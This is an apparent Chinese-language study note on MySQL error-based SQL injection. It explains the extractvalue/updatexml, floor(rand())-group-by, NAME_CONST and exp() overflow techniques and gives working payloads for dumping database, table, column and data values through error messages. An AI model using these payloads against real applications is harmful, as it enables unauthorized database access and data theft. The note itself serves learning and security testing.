报错注入 2020-10-04

    科技2022-07-20  108

    报错注入

    因为对报错注入还不是很懂,单拎出来学习;报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数/报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中

    xpath语法错误

    利用xpath语法错误来进行报错注入;主要利用extractvalue()和updatexml()两个函数;利用条件:mysql版本>5.1.5

    extractvalue()函数

    函数原型:extractvalue(xml_document,Xpath_string) 正常语法:extractvalue(xml_document,Xpath_string) 第一个参数:xml_document是String格式,为xml文档对象的名称 第二个参数:Xpath_string是xpath格式的字符串 作用:从目标xml中返回包含所查询值的字符串

    第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。 例如

    1 | id='and (select extractvalue(1,concat('~',(select database())))) 2 | id='and (select extractvalue(1,concat(0x7e,@@version)))

    针对mysql数据库:

    查询数据库名: id='and(select extractvalue(1,concat(0x7e,(select database())))) 爆表名: id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) 爆字段名: id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) 爆数据: id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from table_name))))

    注:

    0x7e=’~’;concat(‘a’,‘b’)=“ab”;version()=@@version;‘~‘可以换成’#’,’$'等不满足xpath格式的字符extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

    updatexml

    函数原型:updatexml(xml_document,xpath_string,new_value) 正常语法:updatexml(xml_document,xpath_string,new_value) 第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串 第三个参数:new_value是string格式,替换查找到的符合条件的数据作用

    第二个参数与extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同 payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

    例如:

    1 | 'and(select updatexml(1,concat('~',(select database())),1)) 2 | 'and(select updatexml(1,concat(0x7e,@@database),1))

    同样,针对mysql:

    爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e)) 爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)) 爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e)) 爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

    concat+rand()+group_by()导致主键重复

    这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。 利用原理:https://blog.csdn.net/he_and/article/details/80455884?utm_source=app

    rand():

    生成0~1之间的随机数,可以给定一个随机数的种子,例如rand(0) ,生成由0,1组成的有规律的随机数

    floor():

    对任意正或者负的十进制值向下取整

    group()

    group by语句后面的字段会被运算两次。 第一次:会把group by后面的字段值拿到虚拟表中去对比,在对比之前肯定要知道group by后面字段的值,所以第一次的运算就发生在这里。 第二次:现在假设我们下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么我们就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!

    常见的payload为:

    1 | 'union select 1 from (select count(*),concat((select语句),floor(rand(0)*2))x from TABLE group by x)a--+

    eg:

    1 | 'union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

    之后将select语句改为一般的注入语句即可:

    1 | 爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a 2 | 爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a 3 | 爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a 4 | 爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

    不能使用group_concat函数,所以用limit语句来限制查询结果的列数

    NAME_CONST()函数报错注入(5.1+版本不支持)

    在mysql中,列名重复会报错,所以name_const()函数就是利用这一特性,重新定义一个重复的列名来让数据库报错。

    name_const(name,value):

    返回给定值。当用来产生一个结果集合列时,name_const()促使该列使用给定名称。

    定义重复列名报错语句:

    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)x;

    join 连接

    或者采用join连接查询构造查询语句:

    select * from (select * from(select name_const(database(),0)) a join (select name_const(database(),0))b)c;

    爆表名:

    select * from (select name_const((select table_name from information_schema.tables where table_schema='mysql' limit 1,1),1),name_const((select table_name from information_schema.tables where table_schema='mysql' limit 1,1),1))x;

    爆列名:

    select * from(select * from user a join user b)c;

    爆数据:

    select * from(select * from user a join user b using(host))c;

    exp()函数报错注入(mysql>5.5.53时,无法利用)

    Exp()是以e为底的对数函数,当exp(x)中x>709时溢出报错,可造成一个DOUBLE overflow error,加以利用

    select exp(~(select * from (select database())x));
    Processed: 0.011, SQL: 8